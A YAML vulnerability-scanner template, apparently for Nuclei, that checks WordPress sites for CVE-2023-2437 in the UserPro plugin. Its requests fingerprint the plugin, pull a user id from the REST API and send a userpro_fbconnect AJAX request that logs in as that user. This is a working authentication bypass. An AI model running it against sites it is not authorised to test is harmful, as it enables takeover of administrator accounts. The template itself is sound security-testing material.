id: CVE-2023-2437 info: name: UserPro <= 5.1.1 - Authentication Bypass author: intelligent-ears severity: critical description: | The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action. impact: | Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts. remediation: | Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action. reference: - https://github.com/RxRCoder/CVE-2023-2437 - https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2023-2437 - https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-2437 cwe-id: CWE-287 epss-score: 0.75489 epss-percentile: 0.98911 cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: userproplugin product: userpro framework: wordpress fofa-query: body="/wp-content/plugins/userpro/" tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev flow: http(1) && http(2) && http(3) http: - raw: - | GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, ".userpro")' - 'status_code == 200' condition: and internal: true - raw: - | GET /wp-json/wp/v2/users HTTP/1.1 Host: {{Hostname}} extractors: - type: json name: username part: body json: - '.[0].slug' internal: true - type: json name: user_id part: body json: - '.[0].id' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=userpro_fbconnect&id={{user_id}}&email={{username}} matchers-condition: and matchers: - type: word part: body words: - "{\"redirect_uri\":\"refresh\"}" - "wp-admin-bar-logout" - "" condition: or - type: word part: header words: - "wordpress_logged_in" - "wordpress_sec_" condition: or - type: status status: - 200 # digest: 4a0a004730450221009718c7afa5158795ce71687899607f4cfad94c65f7e5cb2bd08e1d98aca4086102201b5157db75e6caeab1e54dc20edcdf49706e2c56ccfc925534e0da11a038f4a5:922c64590222798bb761d5b6d8e72950